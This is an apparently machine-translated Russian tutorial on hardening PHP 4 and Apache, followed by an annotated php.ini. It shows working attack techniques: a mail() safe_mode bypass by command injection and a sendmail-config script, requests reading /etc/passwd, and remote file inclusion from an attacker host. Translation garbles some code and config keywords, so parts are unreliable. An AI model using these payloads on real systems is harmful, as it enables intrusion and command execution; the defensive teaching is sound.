1. Безопасность веб-сервера
PHP на самом деле является лишь функцией модуля веб-сервера, поэтому в первую очередь необходимо обеспечить безопасность веб-сервера. Конечно, чтобы веб-сервер был безопасным, он должен сначала обеспечить безопасность системы, а до этого еще далеко. PHP можно комбинировать с различными веб-серверами, здесь будет обсуждаться только Apache. Настоятельно рекомендуется устанавливать и запускать Apache в режиме chroot. Таким образом, даже если в Apache, PHP и их скриптах имеются уязвимости, они затронут только ограниченную систему и не нанесут вреда реальной системе. Однако использование chrooted Apache также принесет приложению определенные проблемы. Например, при подключении к mysql для подключения через сокет необходимо использовать адрес 127.0.0.1, а не localhost, что немного менее эффективно. Также существует проблема с отправкой писем функцией mail, потому что в php.ini:
[функция почты]
; Только для Win32.
SMTP=локальный хост
; Только для Win32.
sendmail_from [email protected]
предназначен для платформы Win32, поэтому sendmail необходимо настроить в среде chroot.
2. Проблемы с самим PHP. Сетевой администратор u.bitscn@com
1. Удаленное переполнение.
Все версии ниже PHP-4.1.2 имеют уязвимости, связанные с удаленной загрузкой буфера, и программа атаки широко распространена с очень высоким уровнем успеха
2
.Удаленный отказ в обслуживании
PHP-4.2.0 и PHP-4.2.1 имеют удаленную уязвимость в обработке POST-запросов PHP multipart/form-data. Хотя разрешения локального пользователя не могут быть получены, это также может привести к отказу в обслуживании.
3. Уязвимость обхода Safe_mode
также существует в PHP-4.2.2 и ниже PHP-4.0.5. Функция PHP mail обходит ограничение Safe_mode и выполняет команды. Начиная с версии 4.0.5, функция mail добавляет пятый параметр. Из-за конструкции. Если вы не будете осторожны, вы можете обойти ограничения безопасного режима и выполнить команды. Прорыв в версии 4.0.5 очень прост. Вам просто нужно отделить его точкой с запятой и добавить команду оболочки. Например, если есть скрипт PHP evil.php:
выполните следующий URL:
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
Результат выполнения id будет отправлен на адрес [email protected] .
В версиях PHP с 4.0.6 по 4.2.2 для преодоления ограничения Safe_mode фактически используется параметр -C sendmail, поэтому система должна использовать sendmail. Следующий код может обойти ограничения безопасного режима и выполнить команды:
#Обратите внимание, следующие два кода не должны существовать.
Или их владельцы такие же, как и владельцы этого скрипта
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Разреженный = 0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("никто", "", "", "", "-C$cf");
?>
Пользователи, использующие вышеуказанную проблемную версию PHP, должны своевременно обновиться до последней версии, чтобы устранить основные проблемы безопасности.
3. Конфигурация безопасности самого PHP.
Конфигурация PHP очень гибкая. Ее можно настроить через файлы php.ini, httpd.conf, .htaccess (в этом каталоге необходимо установить AllowOverride All или Options), а также можно. используйте ini_set() в программе-скрипте и другие специальные функции для установки. Каждое значение параметра конфигурации можно получить с помощью функций phpinfo() и get_cfg_var().
Если параметр конфигурации является единственным атрибутом PHP_INI_SYSTEM, его необходимо изменить с помощью php.ini и httpd.conf. Они изменяют значение PHP Master, но после изменения необходимо перезапустить Apache, чтобы изменения вступили в силу. Параметры, установленные в php.ini, действуют для всех сценариев на веб-сервере, а параметры, установленные в httpd.conf, эффективны для всех сценариев в определенном каталоге.
Если существуют другие параметры атрибута PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL, вы можете использовать файл .htaccess для их установки или использовать функцию ini_set() в самом скрипте, чтобы установить их. Они изменяют локальное значение, и изменения вступят в силу. вступить в силу немедленно. Однако .htaccess вступает в силу только для программы-скрипта в текущем каталоге, а функция ini_set() вступает в силу только после установки функции ini_set() для программы-скрипта. Атрибуты опций каждой версии могут быть разными. Чтобы найти файл main.c текущего исходного кода и получить все параметры и их атрибуты, можно использовать следующую команду:
# grep PHP_INI_ /PHP_SRC/main/main.c
Перед обсуждением. Конфигурация безопасности PHP, вы должны хорошо понимать режим Safe_mode PHP.
1. Safe_mode
Safe_mode — единственный атрибут PHP_INI_SYSTEM, который должен быть установлен через php.ini или httpd.conf. Чтобы включить безопасный_режим, просто измените php.ini:
безопасный_режим = Вкл.
Или измените httpd.conf и определите каталог:
Параметры FollowSymLinks
php_admin_value Safe_mode 1
Safe_mode вступит в силу после перезапуска Apache. Включение Safe_mode ограничит многие функции PHP, особенно открытие системных файлов, выполнение команд и другие функции.
Все функции, работающие с файлами, будут работать только с файлами с тем же UID, что и скрипт. Например, содержимое скрипта test.php:
Свойства некоторых файлов следующие:
# лс -ла
всего 13
drwxr-xr-x 2 root root 104 20 июля 01:25.
drwxr-xr-x 16 root root 384 18 июля 12:02 ..
-rw-r--r-- 1 корень root 4110 26 октября 2002 г. index.html
-rw-r--r-- 1 www-data www-data 41 19 июля 19:14 test.php
При запросе test.php в браузере появится следующее сообщение об ошибке:
Предупреждение: Действует ограничение БЕЗОПАСНОГО РЕЖИМА. Скрипту с uid/gid 33/33 не разрешен доступ к ./index.html, принадлежащему uid/gid 0/0. в /var/www/test.php в строке 1
Если UID каталога, в котором находится манипулируемый файл, соответствует UID скрипта, то к UID файла можно получить доступ, даже если он отличается от скрипта. Интересно, это уязвимость в PHP или нет. есть еще одна скрытая причина. Поэтому пользователю, являющемуся владельцем php-скрипта, лучше всего использовать его только для этой цели. Категорически запрещено использовать root в качестве владельца php-скрипта. Это не приведет к эффекту Safe_mode.
Если вы хотите ограничить сравнение GID, вы можете рассмотреть возможность сравнения только GID файла, включив Safe_mode_gid. Вы можете установить следующие параметры:
Safe_mode_gid = On.
После установки Safe_mode все выполняемые команды будут ограничены только функциями. указанный в Safe_mode_exec_dir в php.ini программах в этом каталоге, а Shell_exec и `ls -l` будет запрещено выполнять команды. Если вам действительно нужно вызывать другие программы, вы можете сделать в php.ini следующие настройки:
Safe_mode_exec_dir = /usr/local/php/exec
и затем скопировать программу в этот каталог, тогда php-скрипт сможет использовать системные и другие функции для выполнить программу. Более того, сценарии оболочки в этом каталоге по-прежнему могут вызывать системные команды в других каталогах.
Safe_mode_include_dir строка
Переопределить проверки UID/GID при включении файлов из этого каталога и его подкаталогов (каталоги должны находиться в include_path или включаться с полными путями).
Начиная с PHP 4.2.0, эта директива может принимать пути, разделенные точкой с запятой, в стиле, аналогичном директиве include_path, а не просто каталог.
Указанное ограничение на самом деле является префиксом, а не именем каталога. Это означает, что «safe_mode_include_dir = /dir/incl» разрешит доступ к «/dir/include» и «/dir/incls», если они существуют. Если вы хотите ограничить доступ к определенному каталогу, добавьте косую черту в конце, например: «safe_mode_include_dir = /dir/incl/».
Safe_mode_allowed_env_vars строка
Установка определенных переменных среды может стать потенциальным пробелом в безопасности. Эта директива содержит список префиксов, разделенных запятыми. В безопасном режиме пользователи могут изменять только переменные среды, имена которых имеют указанный здесь префикс. По умолчанию пользователи могут устанавливать только переменные среды, начинающиеся с PHP_ (например, PHP_FOO = BAR).
Примечание. Если эта директива пуста, PHP позволит пользователю изменять любую переменную среды!
Safe_mode_protected_env_vars строка
Эта директива содержит разделенный запятыми список переменных среды, которые конечный пользователь не может изменить с помощью putenv(). Эти переменные нельзя изменить, даже если в параметре Safe_mode_allowed_env_vars установлено разрешенное изменение.
Хотя безопасный_режим не является панацеей (более низкие версии PHP можно обойти), все же настоятельно рекомендуется включать безопасный режим, который может в определенной степени избежать некоторых неизвестных атак. Однако включение Safe_mode будет иметь множество ограничений, которые могут повлиять на приложение, поэтому для достижения гармонии необходимо скорректировать код и конфигурацию. Информацию о функциях, ограниченных или заблокированных в безопасном режиме, см. в руководстве по PHP.
После обсуждения Safe_mode давайте обсудим, как избежать уязвимостей посредством настройки PHP-сервера на основе реальных проблем, которые могут возникнуть в программном коде.
2. Злоупотребление переменными.
PHP по умолчанию имеет значение Register_globals = On. Переменные для GET, POST, Cookie, Environment и Session можно напрямую зарегистрировать как глобальные переменные. Их порядок регистрации — переменные_order = «EGPCS» (можно изменить через php.ini). Правая часть переменных_order с тем же именем закрывает левую сторону, поэтому злоупотребление переменными может легко привести к путанице в программе. Более того, программисты сценариев часто не имеют привычки инициализировать переменные. Фрагменты программы, подобные следующим, чрезвычайно уязвимы для атак:
//test_1.php
if ($pass == "привет")
$auth = 1;
если ($auth == 1)
повторить «некоторая важная информация»;
еще
эхо «ничего»;
?>
Злоумышленник может обойти проверку, просто воспользовавшись следующим запросом:
http://victim/test_1.php?auth=1
Хотя это очень слабая ошибка, некоторые известные программы тоже допускали такую ошибку. Например, phpnuke Remote. уязвимость копирования файлов: http://www.securityfocus.com/bid/3361
Когда был выпущен PHP-4.1.0, было рекомендовано отключить Register_globals и предоставить 7 специальных переменных массива для использования различных переменных. Переменные из GET, POST, COOKIE и т. д. не регистрируются напрямую как переменные, и доступ к ним должен осуществляться через переменные массива. Когда был выпущен PHP-4.2.0, конфигурация php.ini по умолчанию была Register_globals = Off. Это позволяет программе использовать значение по умолчанию, инициализированное самим PHP, которое обычно равно 0, что не позволяет злоумышленникам контролировать переменные оценки.
Решение:
установите Register_globals = Off в файле конфигурации php.ini.
Программисту необходимо инициализировать значение переменной оценки в начале программы.
3. Файл открывает
крайне уязвимый фрагмент кода:
//test_2.php.
if (!($str = readfile("$filename"))) {
echo("Не удалось открыть файл: $filename
н");
Выход;
}
еще {
эхо $стр;
}
?>
Поскольку злоумышленник может указать любое имя $filename, он может просмотреть /etc/passwd с помощью следующего запроса:
http://victim/test_2.php?filename=/etc/passwd
Следующий запрос может прочитать сам php-файл:
http://victim/test_2.php?filename=test_2.php
К функциям открытия файлов в PHP относятся fopen(), file() и т. д. Если переменная имени файла не проверена строго, будет доступен доступ к важным файлам на сервере. и читать.
Решение.
Если не требуется иное, ограничьте операции с файлами PHP веб-каталогом. Ниже приведен пример изменения файла конфигурации Apache httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs.
После перезапуска Apache скрипт PHP в каталоге /usr/local/apache/htdocs может работать только с файлами в своем собственном каталоге, в противном случае PHP сообщит об ошибке:
Внимание: действует ограничение open_basedir.
Файл находится в неправильном каталоге в строке xxx. xx
Использование режима Safe_mode также позволяет избежать этой проблемы, которая обсуждалась ранее.
4. Содержит файлы
с чрезвычайно уязвимыми фрагментами кода:
//test_3.php.
если (file_exists ($ имя файла))
include("$имя_файла");
?>
Такой безответственный код причинит значительный вред. Злоумышленник может получить файл /etc/passwd, используя следующий запрос:
http://victim/test_3.php?filename=/etc/passwd
Если для версии PHP для Unix ( Win-версия PHP не поддерживает удаленное открытие файлов. Злоумышленник может создать файл, содержащий команды оболочки, на машине, где он открыл службу http или ftp. Например, содержимое http://attack/attack.txt. есть, то следующий запрос Вы можете выполнить команду ls /etc на целевом хосте:
http://victim/test_3.php?filename=http://attack/attack.txt
Злоумышленник может даже использовать access.log и Файлы журнала error.log, содержащие Apache. Код для выполнения команды получен, но иногда добиться успеха непросто из-за слишком большого количества информации о помехах.
Для другой формы следующий фрагмент кода:
//test_4.php
include("$lib/config.php");
?>
Злоумышленник может создать файл config.php, содержащий код выполнения команды, на своем собственном хосте, а затем использовать следующий запрос для выполнения команды на целевом хосте:
http://victim/test_4.php?lib=http://attack
Включенные функции PHP включают include(), include_once(), require(), require_once. Если переменная, содержащая имя файла, не проверена строго, это создаст серьезную опасность для системы, и команду можно будет выполнить удаленно.
Решение:
Программистам следует стараться не использовать переменные при включении параметров в файлы. Если переменные используются, имена включаемых файлов должны быть строго проверены и не должны указываться пользователем произвольно.
Например, ограничение пути операции PHP при предыдущем открытии файла является необходимой опцией. Кроме того, если нет иной необходимости, обязательно отключите функцию удаленного открытия файлов PHP. Измените файл php.ini:
allow_url_fopen = Выкл.
Перезапустите apache
[PHP]
; PHP по-прежнему является развивающимся инструментом, и его функции постоянно удаляются.
; А изменения настроек php.ini могут отражать значительные изменения,
; Прежде чем использовать новую версию PHP, было бы полезно изучить php.ini.
;;;;;;;;;;;;;;;;;;;;;;
;Об этом документе;
;;;;;;;;;;;;;;;;;;;;;
Этот файл управляет многими аспектами представления PHP. Чтобы PHP мог прочитать этот файл, ему необходимо дать имя.
; 'php.ini'.PHP будет искать файл в следующих местах: текущий рабочий каталог; переменная среды PHPRC;
; Указанный путь; путь, указанный при компиляции.
; В Windows путь компиляции — это каталог установки Windows.
; В режиме командной строки путь поиска для php.ini можно заменить параметром -c
; Синтаксис этого файла очень прост. Пробелы и строки, начинающиеся с точки с запятой, просто игнорируются (как и вы).
; как и предполагалось). Названия глав (например: [Foo]) также просто игнорируются, хотя в будущем они могут возникнуть.
; имеет некоторое значение.
;
; директивы задаются с использованием следующего синтаксиса:
; идентификатор индикатора = значение;
директива = значение
; Указывает, что идентификатор *чувствителен к регистру* — foo=bar отличается от FOO = bar.
;
; Значение может быть строкой, числом, константой PHP (например: E_ALL или M_PI), константой INI.
; A (Вкл., Выкл., Истина, Ложь, Да, Нет и Нет) или выражение.
; (например: E_ALL & ~E_NOTICE) или строка в кавычках ("foo").
;
; Выражения в файлах INI ограничены побитовыми операторами и круглыми скобками.
; | побитовое ИЛИ
; & побитовое И
; ~ побитовое НЕ
! логическое НЕ
;
; Булевы флаги можно включить со значениями 1, On, True или Yes.
; Их можно отключить со значениями 0, Off, False или No.
;
; Пустую строку можно представить, ничего не написав после знака равенства или используя ключевое слово None:
;
; foo = ; Установить foo в пустую строку
; foo = none ; Установить foo в пустую строку
; foo = "none" ; Установите в foo строку 'none'
;
; Если вы используете константы в настройках значений, и эти константы принадлежат динамически загружаемым библиотекам расширений (то есть не расширениям PHP).
; расширения Zend), вы можете использовать эти константы только *после* строк, вызывающих эти расширения.
;
; Все значения, установленные в файле php.ini-dist, совпадают со встроенными значениями по умолчанию (то есть, если php.ini
; не используется или вы удалили эти строки, значение по умолчанию то же самое
;;;;;;;;;;;;;;;;;;;;;
;Языковые параметры;
;;;;;;;;;;;;;;;;;;;;;;
двигатель = Вкл.
; Сделать механизм языка сценариев PHP доступным в Apache.
short_open_tag = Вкл.
; Разрешает тег <? (это простое представление). Будут распознаваться только теги <?php и <script>.
asp_tags = Выкл.
; Разрешить теги <% %> в стиле ASP
точность=14
; Количество эффективных цифр при отображении чисел с плавающей запятой
y2k_compliance = Off;
; Включить ли адаптацию к Y2K (может вызвать проблемы в браузерах, не адаптивных к Y2K)
output_buffering = Off
; Кэширование вывода позволяет отправлять строки заголовка (включая файлы cookie) даже после вывода основного содержимого.
; Платой за это является то, что уровень вывода немного замедляется. Вы можете использовать кэширование вывода, чтобы включить кэширование вывода во время выполнения.
; Или включите здесь директиву, чтобы включить кэширование вывода для всех файлов.
output_handler = ; Вы можете перенаправить весь вывод вашего скрипта в функцию,
; Это может быть полезно для обработки или регистрации.
; Например, если вы установите для этого выходного_обработчика значение «ob_gzhandler»,
; вывод будет прозрачно сжат для браузеров, поддерживающих кодировку gzip или deflate.
; Установить процессор вывода на автоматическое открытие буферизации вывода.
implicit_flush = Выкл.
; Принудительно сбросить, чтобы сообщить PHP, чтобы выходной слой автоматически обновлял свои собственные данные после каждого выходного блока.
; Это эквивалентно вызову функцииlush() после каждого вызова print() или echo() и после каждого блока HTML.
; Включение этого параметра приведет к серьезным конфликтам во время выполнения. Рекомендуется включать его только во время отладки.allow_call_time_pass_reference
= On
.
; Нужно ли заставлять вызовы функций передавать параметры по ссылке. Этот метод был опротестован.
; и может больше не поддерживаться в будущих версиях PHP/Zend.
; Рекомендуется указывать, какие параметры передаются по ссылке в объявлении функции.
; Вам рекомендуется попробовать отключить эту опцию и убедиться, что ваши скрипты по-прежнему работают правильно, чтобы обеспечить будущие версии языка;
; Они по-прежнему будут работать. (Вы будете получать предупреждение каждый раз, когда используете эту функцию, и параметры будут указываться по значению, а не по ссылке.
; Пройти).
; Безопасный режим.
безопасный_режим = Выкл.
безопасный_режим_exec_dir =
Safe_mode_allowed_env_vars = PHP_
; Установка определенных переменных среды
; может быть потенциальным нарушением безопасности.
; Эта директива содержит список префиксов, разделенных запятыми. В безопасном режиме пользователи могут заменять только
значения переменных среды, начинающиеся с перечисленных здесь префиксов.
; По умолчанию пользователи смогут устанавливать только переменные среды, начинающиеся с PHP_ (например: PHP_FOO=BAR).
; ПРИМЕЧАНИЕ. Если эта директива пуста, PHP позволит пользователю изменять любые переменные среды
Safe_mode_protected_env_vars = LD_LIBRARY_PATH
!
; Эта директива содержит разделенный запятыми список переменных среды, которые конечный пользователь не сможет изменить с помощью putenv().
; Эти переменные защищены, даже если для параметра Safe_mode_allowed_env_vars установлено значение
Disable_functions =
.
; Эта директива позволяет отключить определенные функции по соображениям безопасности.
; принимает список имен функций, разделенных запятыми.
; Эта инструкция *не* зависит от того, включен ли безопасный режим
; Цвет режима подсветки синтаксиса.
; Все, что разрешено <font color=???>, будет работать
.
Highlight.comment = #FF8000
Highlight.keyword = #007700
Highlight.bg = #FFFFFF
Highlight.default = #0000BB
Highlight.html = #000000
Разное Разное
Exposure_php = Выкл.
; Определяет, должен ли PHP указывать тот факт, что он установлен на сервере (например, добавить его - PHP - в веб-сервис).
; по отправленному сигналу).
; (Мое личное мнение — отключать это при появлении любого заголовка включения питания.)
; Не представляет угрозы безопасности, но позволяет проверить, установлен ли PHP на вашем сервере.
;;;;;;;;;;;;;;;;;;;;;;
Ограничения ресурсов;
;;;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; Максимальное время выполнения каждого скрипта, в секундах
Memory_limit = 8388608; Максимальный объем памяти, который может использовать скрипт (здесь 8 МБ)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Обработка и протоколирование ошибок;
; Контроль и регистрация ошибок;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Сообщение об ошибках побитовое. Или добавьте числа, чтобы получить желаемый уровень сообщения об ошибках.
; E_ALL — все ошибки и предупреждения
; E_ERROR – фатальная ошибка выполнения.
; E_WARNING — предупреждение во время выполнения (нефатальная ошибка)
; E_PARSE — ошибка синтаксического анализа во время компиляции.
; E_NOTICE — напоминания во время выполнения (часто вызваны ошибками в вашем коде,
; Это также может быть вызвано преднамеренным поведением (например: использование неинициализированной переменной, основанной на
том факте, что неинициализированная переменная автоматически инициализируется пустой строкой)
; E_CORE_ERROR — фатальная ошибка, возникающая в процессе инициализации при запуске PHP.
; E_CORE_WARNING — предупреждение (нефатальная ошибка), возникающее в процессе инициализации при запуске PHP;
; E_COMPILE_ERROR — фатальная ошибка времени компиляции.
; E_COMPILE_WARNING — предупреждение времени компиляции (нефатальная ошибка)
; E_USER_ERROR — сообщение об ошибке, сгенерированное пользователем.
; E_USER_WARNING — предупреждающее сообщение, созданное пользователем.
; E_USER_NOTICE — сообщение-напоминание, созданное пользователем.
; пример:
; error_reporting = E_ALL & ~E_NOTICE ; Показать все ошибки, кроме напоминаний
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; Показать только ошибки
error_reporting = E_ALL & ~E_NOTICE ; Показать все ошибки, кроме напоминаний
display_errors = On; отображать сообщения об ошибках (как часть вывода)
; На окончательно опубликованном веб-сайте настоятельно рекомендуется отключить эту функцию и использовать ее;
; Вместо этого журнал ошибок (см. ниже).
; Можно продолжать включать display_errors на окончательном опубликованном веб-сайте;
; Раскройте некоторую информацию, связанную с безопасностью, например пути к файлам вашего веб-сервиса;
; Конфигурация вашей базы данных или другая информация
display_startup_errors = Off Происходит на этапе запуска PHP, даже если display_erroes включен.
; ошибки не будут отображаться.
; Настоятельно рекомендуется отключить display_startup_errors,
; За исключением процесса исправления ошибок.
log_errors = Off ; Записывать ошибки в файл журнала (журнал конкретного сервера, стандартный вывод ошибок stderr или error_log (ниже))
Как указано выше, настоятельно рекомендуется регистрировать ошибки на окончательно опубликованном веб-сайте;
; Заменить прямой вывод ошибки.
track_errors = Off ; Сохранить последнее сообщение об ошибке/предупреждении в переменной $php_errormsg (логическое значение).
;error_prepend_string = "<font color=ff0000>" ; Строка, выводящаяся перед сообщением об ошибке.
;error_append_string = "</font>" ; Строка, выводящаяся после сообщения об ошибке
;error_log = имя_файла ; Записать журнал ошибок в указанный файл.
;error_log = syslog ; Запишите журнал ошибок в системный журнал (журнал событий в NT, недействителен в Windows 95)
alert_plus_overloading = Off ; Предупреждать при использовании «+» со строками
;;;;;;;;;;;;;;;;;;;
Обработка данных;
;;;;;;;;;;;;;;;;;;;variable_order = "EGPCS" ;
; Порядок GET, POST, Cookie, Environment и встроенных переменных.
; (представленный G, P, C, E и S, обычно обозначаемый как EGPCS или GPC).
; Записывает слева направо, новые значения заменяют старые значения.
Register_globals = On ; Регистрировать ли эти переменные EGPCS как глобальные переменные.
; Вы можете отключить это, если не хотите, чтобы пользовательские данные были загромождены глобально.
; Это имеет больше смысла в сочетании с track_vars — таким образом вы можете пройти
; массив $HTTP_*_VARS[] обращается ко всем переменным GPC
Register_argc_argv = On ; Эта директива сообщает PHP, следует ли объявлять переменные argv и argc.
; (Примечание: здесь argv — массив, а argc — количество переменных)
; (который содержит данные, переданные с помощью метода GET).
; Если вы не хотите использовать эти переменные, вам следует отключить их для повышения производительности.
track_vars = On ; Сделайте массив $HTTP_*_VARS[] действительным, здесь при использовании используется *.
; замена ENV, POST, GET, COOKIE или SERVER;
post_max_size = 8M ; Максимальный размер данных POST, которые принимает PHP.
gpc_order = "GPC" ; Вместо этого используйте переменные_order
;
Magic_quotes_gpc = Вкл.; Использовать магические кавычки во входных данных GET/POST/Cookie.
; (Исходный текст такой, ха-ха, так называемые магические кавычки должны относиться к использованию escape-символов для добавления управляющих символов, таких как '....)
Magic_quotes_runtime= Off ; Использовать магические кавычки для данных, генерируемых во время выполнения,
; Например: данные, полученные с помощью SQL-запроса, данные, полученные с помощью функции exec() и т. д.
Magic_quotes_sybase = Off ; Использовать магические кавычки в стиле Sybase (используйте «extract» вместо «»)
; Автоматически добавлять файлы до и после документов PHP;
auto_prepend_file =
auto_append_file =
; Как и в версии 4.04b4, PHP по умолчанию всегда выводит кодировку символа в заголовке Content-type:.
; Отключает набор выходных символов, пока он пуст.
; встроенный PHP по умолчанию — text/html;
default_mimetype = "текст/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Пути и каталоги;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; включить настройку пути, UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; Корневой путь страницы php, действителен только в том случае, если он не пуст.
user_dir = ; Сообщает php, какой каталог искать при открытии скрипта с использованием /~username.
;upload_tmp_dir = ; Временный каталог для хранения файлов, загруженных по протоколу HTTP (если не указано, используйте системное значение по умолчанию)
upload_max_filesize = 2097152 ; по умолчанию размер загрузки файла ограничен 2 МБ.
Extension_dir = c:php ; каталог, в котором хранятся загружаемые библиотеки расширений (модули).
Enable_dl = Вкл.; Включить ли dl().
; Функция dl() *не* работает хорошо на многопоточном сервере,
; например, IIS или Zeus, и по умолчанию в них отключен;
;;;;;;;;;;;;;;;;;;;
; Загрузка файлов;
;;;;;;;;;;;;;;;;;;;
file_uploads = Вкл., разрешать ли загрузку файлов по HTTP;
;upload_tmp_dir = ; Временный каталог для файлов, загружаемых через HTTP (если не указано иное, используется системное значение по умолчанию)
upload_max_filesize = 2M; Максимально допустимый размер загружаемых файлов
; Fopen-обертки;
;;;;;;;;;;;;;;;;;;;;;
allow_url_fopen = On ; Разрешить ли обрабатывать URL-адреса как http:.. или файлы как ftp:...
;;;;;;;;;;;;;;;;;;;;;;;;;;
;Динамическое расширение;
; Динамические расширения;
;;;;;;;;;;;;;;;;;;;;;;;;;;
; Если вы хотите, чтобы библиотека расширений загружалась автоматически, используйте следующий синтаксис:
; расширение=имя_модуля.расширение
; Например, в Windows
; расширение = msql.dll
; или в UNIX,
; расширение = msql.so
; Обратите внимание, что это должно быть только имя модуля, в него не нужно помещать информацию о каталоге.
; Используйте указанный выше каталог_расширения, чтобы указать расположение указанной библиотеки расширений.
;Расширение Windows
;расширение=php_nsmail.dll
расширение = php_calendar.dll
;расширение=php_dbase.dll
;расширение=php_filepro.dll
расширение = php_gd.dll
;расширение=php_dbm.dll
;расширение=php_mssql.dll
;расширение=php_zlib.dll
;расширение=php_filepro.dll
;расширение=php_imap4r2.dll
;расширение=php_ldap.dll
;расширение=php_crypt.dll
;расширение=php_msql2.dll
;расширение=php_odbc.dll
; Обратите внимание, что поддержка MySQL теперь встроена, поэтому нет необходимости использовать ее dll
;;;;;;;;;;;;;;;;;;;;;;
; настройки модуля;
;Настройки модуля;
;;;;;;;;;;;;;;;;;;;;;
[Системный журнал]
define_syslog_variables = Выкл. Определять ли различные переменные системного журнала;
; Например: $LOG_PID, $LOG_CRON и т. д.
; Отключение — хорошая идея для повышения эффективности.
; Во время выполнения вы можете вызвать функцию define_syslog_variables(), чтобы определить эти переменные
[функция почты]
SMTP = localhost; только для систем Win32.
sendmail_from [email protected] только для систем Win32;
;sendmail_path = ;только для unix, также поддерживает параметры (по умолчанию — sendmail -t -i)
[Отладчик]
отладчик.хост = локальный хост
отладчик.порт = 7869
debugger.enabled = False
[Ведение журнала]
; Эти конфигурации указывают механизм журналирования, используемый в примерах.
; См. примеры/README.logging для получения дополнительных объяснений;
;logging.method = БД
;logging.directory = /путь/к/каталогу/журнала
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = Выкл.
[ODBC]
;uodbc.default_db = Еще не реализовано
;uodbc.default_user = Еще не реализовано
;uodbc.default_pw = Еще не реализовано
uodbc.allow_persistent = On Разрешить или отключить постоянные соединения
uodbc.check_persistent = On ; Проверьте, доступно ли соединение, прежде чем повторно использовать его.
uodbc.max_persistent = -1; Максимальное количество постоянных подключений -1 означает неограниченное количество.
uodbc.max_links = -1; Максимальное количество подключений (постоянных и непостоянных). -1 представляет собой неограниченное управление сетью u.bitsCN.com.
uodbc.defaultlrl = 4096; Управляет полями типа LONG. Возвращает количество байтов переменной, 0 означает проходное (?) 0 означает проходное.
uodbc.defaultbinmode = 1; Управление двоичными данными. 0 означает обработку двоичных данных. 0 означает передачу, 1 возврат как есть, 2 преобразование в символ.
; См. документацию по odbc_binmode и odbc_longreadlen для объяснения uodbc.defaultlrl и uodbc.defaultbinmode
[MySQL]
.
mysql.allow_persistent = On Разрешить или отключить постоянные соединения
mysql.max_persistent = -1; Максимальное количество постоянных подключений -1 означает неограниченное количество.
mysql.max_links = -1 ; Максимальное количество соединений (постоянных и непостоянных) -1 означает неограниченное.
mysql.default_port = ; Порт по умолчанию, используемый mysql_connect(). Если не установлен, mysql_connect().
; будет использовать переменную $MYSQL_TCP_PORT или запись mysql-tcp в /etc/services (unix),
; Или MYSQL_PORT определяется во время компиляции (в этом порядке)
; среда Win32, будет проверяться только MYSQL_PORT.
mysql.default_socket = ; Имя сокета по умолчанию, используемое для локальных соединений MySql. Если оно пусто, используйте встроенное значение MySQL
mysql.default_host = ; Хост, используемый mysql_connect() по умолчанию (недопустимо в безопасном режиме)
mysql.default_user = ; mysql_connect () Имя пользователя, используемое по умолчанию (недействительно в безопасном режиме)
mysql.default_password = ; Пароль, используемый mysql_connect() по умолчанию (недействителен в безопасном режиме)
; Обратите внимание, что сохранение паролей в этом файле обычно является *плохой* идеей.
; *Любой* пользователь, имеющий доступ к PHP, может запустить
; 'echo cfg_get_var("mysql.default_password")', чтобы отобразить этот пароль!
; И, конечно же, любой пользователь с правами на чтение файла также сможет увидеть этот пароль
[mSQL]
.
msql.allow_persistent = Вкл. Разрешить или отключить постоянные соединения.
msql.max_persistent = -1; Максимальное количество постоянных подключений -1 означает неограниченное количество.
msql.max_links = -1 ; Максимальное количество подключений (постоянных и непостоянных) -1 означает неограниченное количество
[PostgresSQL].
pgsql.allow_persistent = On Разрешить или отключить постоянные соединения
pgsql.max_persistent = -1; Максимальное количество постоянных подключений -1 означает неограниченное количество.
pgsql.max_links = -1 ; Максимальное количество соединений (постоянных и непостоянных) -1 означает неограниченное количество
[Sybase]
.
sybase.allow_persistent = On; Разрешить или отключить постоянные соединения.
sybase.max_persistent = -1; -1 означает неограниченное количество.
sybase.max_links = -1 Максимальное количество подключений (постоянных и непостоянных) -1 означает неограниченное.
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 Минимальная серьезность отображаемых ошибок
sybase.min_message_severity = 10 Минимальная серьезность отображаемых сообщений
sybase.compatability_mode = Off ; Режим совместимости со старыми версиями PHP 3.0. Если этот параметр включен, PHP автоматически запускается.
; Присвойте им тип Sybase в соответствии с результатом,
; Вместо того, чтобы рассматривать их все как строки.
; Этот режим совместимости не останется навсегда,
; Поэтому внесите необходимые изменения в свой код,
; и закройте элемент
[Sybase-CT]
.
sybct.allow_persistent = On Разрешить или отключить постоянные соединения;
sybct.max_persistent = -1; Максимальное количество постоянных подключений -1 означает неограниченное количество.
sybct.max_links = -1 ; Максимальное количество подключений (постоянных и непостоянных) -1 означает неограниченное.
sybct.min_server_severity = 10 Минимальная серьезность отображаемых ошибок
sybct.min_client_severity = 10 ; Минимальная серьезность отображаемых сообщений
[bcmath]
bcmath.scale = 0 ; количество десятичных цифр для всех функций bcmath
[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[Информикс]
ifx.default_host = ; Хост, используемый ifx_connect() по умолчанию (недействителен в безопасном режиме)
ifx.default_user = ; Имя пользователя по умолчанию, используемое ifx_connect() (недействительно в безопасном режиме)
ifx.default_password = ; пароль по умолчанию, используемый ifx_connect() (недействителен в безопасном режиме)
ifx.allow_persistent = On Разрешить или отключить постоянные подключения;
ifx.max_persistent = -1 ; Максимальное количество постоянных подключений -1 означает неограниченное количество.
